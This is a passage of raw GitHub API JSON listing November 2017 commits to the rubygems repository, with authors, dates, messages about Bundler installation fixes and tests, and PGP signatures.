--silent","tree":{"sha":"3b8bd90acfc804a58d8defb21b271dc443510fb8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3b8bd90acfc804a58d8defb21b271dc443510fb8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a1336fa534c15f11f55da7d6b042b823d1526131","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131","html_url":"https://github.com/rubygems/rubygems/commit/a1336fa534c15f11f55da7d6b042b823d1526131","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}]},{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-23T00:30:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-23T00:30:46Z"},"message":"Auto merge of #2096 - hsbt:revise-after-271, r=hsbt\n\nRevise my fixes for Rubygems 2.7.2\n\n* Applied to fix https://github.com/rubygems/rubygems/pull/2086#discussion_r152564276 .\n* Fix a name of gemspec directories on tests\n* Fix a test for https://github.com/rubygems/rubygems/pull/2094 . It asserts wrong bin path.","tree":{"sha":"1463fc93169e5d962236d563a779eb139ec5308a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1463fc93169e5d962236d563a779eb139ec5308a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1"},{"sha":"4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","html_url":"https://github.com/rubygems/rubygems/commit/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17"}]},{"sha":"4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:43:54Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:43:54Z"},"message":"Match strict name of bundler- gem","tree":{"sha":"1463fc93169e5d962236d563a779eb139ec5308a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1463fc93169e5d962236d563a779eb139ec5308a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfxoACgkQ+c8TQXJk\n+sKNpggApTeB+FTKvB4l+6f8vnOT9tuFlsiGwFVpCRtxZH5np8OPxVxxkPlVcLsj\nPykrubbE0yYQ8NstQdX61jSw76vC90b/Fnz/HoTZPtM7Sg4ZL3Rk0XTiQrDwwGOo\n4E8Z1CyU+gKcT7HgJfd/p1ULI18EyFAKCEZwXODLst0KWy3XgZi8RbtXlZ63ZCkF\ns5rBPdyg3HgOsfhDfky2hcDXmaKNxDgaV6deMXQoC8rO+2l8vKXm2uQowW3NoQOV\n5kPnthSpFG/hOd0aR+8EYtI36+q/7N0wnfGCP6V2u4yzpI5KIqEXNcwNVe4XhIaq\nTayiwykWSXQT5d+oCUCybEXRIRhWaw==\n=uHyJ\n-----END PGP SIGNATURE-----","payload":"tree 1463fc93169e5d962236d563a779eb139ec5308a\nparent e17a3b345974f859166d26c79c79de336701ac3e\nauthor SHIBATA Hiroshi 1511358234 +0900\ncommitter SHIBATA Hiroshi 1511358234 +0900\n\nMatch strict name of bundler- gem\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","html_url":"https://github.com/rubygems/rubygems/commit/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4cf8a95eb5daf0eb9f9201d434be819e9ef0de17/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"e17a3b345974f859166d26c79c79de336701ac3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e","html_url":"https://github.com/rubygems/rubygems/commit/e17a3b345974f859166d26c79c79de336701ac3e"}]},{"sha":"e17a3b345974f859166d26c79c79de336701ac3e","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:36:30Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:36:30Z"},"message":"Fixed wrong name of Gem::Specification dir.","tree":{"sha":"445b4e1a404b4740055a9021f1a044cff4e6f83d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/445b4e1a404b4740055a9021f1a044cff4e6f83d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e17a3b345974f859166d26c79c79de336701ac3e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfV4ACgkQ+c8TQXJk\n+sIKZwf/dAVBEkjFGYw1D4NL2kNMGacFT0PPTZXGBZ3zbSguhi2YgqaYlaPc9Yd3\nE0RSDPKEHLIjfuhfOs1v/H2aflBcJxSnT4KQi1GuN477uoE0ExXBaXBgevOb8pMB\nxAQLndKIG/MhHSvdjS6Nd+GxuJj7nvc97u+9TnYbpVfmOoHdjwm4MAw6f9ddo/NJ\nkePnz/NGLdov/qg5m+2+KHj8Dn/VDOR9bLHlcMo8XuZ9LyD7IlJsAypzs+oFtOib\nSmTvF34vuLfUQpOr+fuN4TTMLStVDoOaPWpqqNJpfQhoWnYBvRfHVX+aT6lXJEYF\nx6SRy480UPuMYzljQHpRkWyCGLRrUg==\n=JGgC\n-----END PGP SIGNATURE-----","payload":"tree 445b4e1a404b4740055a9021f1a044cff4e6f83d\nparent 90e874142ed4bbb666c4911ee9f2debdf4432e21\nauthor SHIBATA Hiroshi 1511357790 +0900\ncommitter SHIBATA Hiroshi 1511357790 +0900\n\nFixed wrong name of Gem::Specification dir.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e","html_url":"https://github.com/rubygems/rubygems/commit/e17a3b345974f859166d26c79c79de336701ac3e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e17a3b345974f859166d26c79c79de336701ac3e/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"90e874142ed4bbb666c4911ee9f2debdf4432e21","url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","html_url":"https://github.com/rubygems/rubygems/commit/90e874142ed4bbb666c4911ee9f2debdf4432e21"}]},{"sha":"90e874142ed4bbb666c4911ee9f2debdf4432e21","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:35:30Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T13:35:30Z"},"message":"Fixed executable path of default bundler","tree":{"sha":"5836bb2cefeea94efe2a2f17c51ceafc510695af","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5836bb2cefeea94efe2a2f17c51ceafc510695af"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVfSIACgkQ+c8TQXJk\n+sLxOQf/f9m/iVYH0HyoAYY4bhJJ7uVYuHg0fo9JtT0Z7XSFr8cLtEP0rH8juSZk\n+5qK26N+lt4o/h2tivsG2O0Y1k9YGHYWd49/CUDiemsukIde+fig/oJsEAcTlSDj\n+g8JV6Drw5nGxZXZwCWo3dnh1fWQSFsZxriBR/dbNGuDAqFOc/snDRubbCHtYm4K\ngJui07f6pUT+ChMp0Fl4ABLUuZlN/VuwY3PIH7dIcPYOpUOOTtwqbeMQLit/X+y+\nSpKVKWooiAcNxw07bNuHIaRklKocg7+PDkFWBO8UbWZXnj1z8oyrJVLKokqN/8xb\nv6ZKm5wmQbJkIloVY/EmB3OqSQf49A==\n=CT93\n-----END PGP SIGNATURE-----","payload":"tree 5836bb2cefeea94efe2a2f17c51ceafc510695af\nparent a20ea7dec437dfe147291ec8e1e18b613b3e24d1\nauthor SHIBATA Hiroshi 1511357730 +0900\ncommitter SHIBATA Hiroshi 1511357730 +0900\n\nFixed executable path of default bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21","html_url":"https://github.com/rubygems/rubygems/commit/90e874142ed4bbb666c4911ee9f2debdf4432e21","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/90e874142ed4bbb666c4911ee9f2debdf4432e21/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1"}]},{"sha":"a20ea7dec437dfe147291ec8e1e18b613b3e24d1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T12:59:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T12:59:00Z"},"message":"Auto merge of #2094 - hsbt:generate-win-bundler-bat, r=segiddins\n\nGenerate .bat files on Windows platform\n\nFixes https://github.com/rubygems/rubygems/issues/2083","tree":{"sha":"632af6b38531b0379d64720ad1cd3dbdd7c46e7b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/632af6b38531b0379d64720ad1cd3dbdd7c46e7b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","html_url":"https://github.com/rubygems/rubygems/commit/a20ea7dec437dfe147291ec8e1e18b613b3e24d1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd"},{"sha":"226ddc1a7e897d65b19eb6d76f2a985673bc3c99","url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","html_url":"https://github.com/rubygems/rubygems/commit/226ddc1a7e897d65b19eb6d76f2a985673bc3c99"}]},{"sha":"226ddc1a7e897d65b19eb6d76f2a985673bc3c99","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:28:19Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:28:19Z"},"message":"Unified test methods for bundler installation.","tree":{"sha":"632af6b38531b0379d64720ad1cd3dbdd7c46e7b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/632af6b38531b0379d64720ad1cd3dbdd7c46e7b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVbWMACgkQ+c8TQXJk\n+sIOdQf/W6Hl9bIcwxS9J1Un9MY4ubhjHZ1W5aH+bCWyMxSrUSm+KQqNKK+mSTy5\nr/MhE/x5AH3oASLHUrXkXU1Hl2+zXtOIyaBP1vW5JWcvkQIKbTy17ViLy5qwBIHU\nBid0yMXCAnEniGIZlFSUPG0SLoE5hMnWJSs4N/YxOjnglZAD535uLUhzmIKuKEuH\nd02tuKN5qqtbzTfMRVbMO50ED9hRWb34QtqNgZcGDpJpIsmsZuG+HzqfFGPnr7wZ\nCbeWIOX6yNdu1uE6kKHXy6KzVNgbYmY9WfYwNDhIBW44hVmOAi9mmg2V+WtOnN2X\nNRBbEjrXyPZddFKv6QH7MCv2gzcyVQ==\n=4Hlg\n-----END PGP SIGNATURE-----","payload":"tree 632af6b38531b0379d64720ad1cd3dbdd7c46e7b\nparent 7dd3af6e470845e79df384dc7e190d7b4d4c61f6\nauthor SHIBATA Hiroshi 1511353699 +0900\ncommitter SHIBATA Hiroshi 1511353699 +0900\n\nUnified test methods for bundler installation.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","html_url":"https://github.com/rubygems/rubygems/commit/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7dd3af6e470845e79df384dc7e190d7b4d4c61f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","html_url":"https://github.com/rubygems/rubygems/commit/7dd3af6e470845e79df384dc7e190d7b4d4c61f6"}]},{"sha":"7dd3af6e470845e79df384dc7e190d7b4d4c61f6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:26:47Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:26:47Z"},"message":"Fix a typo","tree":{"sha":"ffc171a7cc7dcd967f42dfdf0dc171a50510cc38","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ffc171a7cc7dcd967f42dfdf0dc171a50510cc38"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVbQcACgkQ+c8TQXJk\n+sIMmQgAgGTZRMpZnJrqGFNr4rH2KRK5La+aITkQ2Alw6Lnkz7krNB2bGyktLQQC\nDQbxYYJvHywFcgKyeM6yC5o/13flK7YGh2/IOME2ZGn5MLvRkXB4/w88ztnYa5MR\nM4fVYo+Eqw9kA4BxX7IPWD9I2bekbMJqifMngnCReAbOKfaLvSUntLtptWb2GXMd\nHwJeFB9dAreQxEIm1nCtdpEmagyY+ja83iPVLdU47dMEd/3yehe2pAPh3ASTiLrC\nERNFKMZJOqo8IzlFLnK2AMC/U1ei5v/VbFjbr/Hi9QHioZY/+cPm8KCrbueSul6b\nKDct0n8X79kPcyjsTrp6r7HidPmqIQ==\n=U2Iv\n-----END PGP SIGNATURE-----","payload":"tree ffc171a7cc7dcd967f42dfdf0dc171a50510cc38\nparent 80f0f3b126a67ce876885ad4ce840509418bec52\nauthor SHIBATA Hiroshi 1511353607 +0900\ncommitter SHIBATA Hiroshi 1511353607 +0900\n\nFix a typo\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","html_url":"https://github.com/rubygems/rubygems/commit/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"80f0f3b126a67ce876885ad4ce840509418bec52","url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52","html_url":"https://github.com/rubygems/rubygems/commit/80f0f3b126a67ce876885ad4ce840509418bec52"}]},{"sha":"80f0f3b126a67ce876885ad4ce840509418bec52","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:24:04Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:24:04Z"},"message":"Added test","tree":{"sha":"1e8ff66739545f9dcfeff7c5a1d757443c3529cf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1e8ff66739545f9dcfeff7c5a1d757443c3529cf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/80f0f3b126a67ce876885ad4ce840509418bec52","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 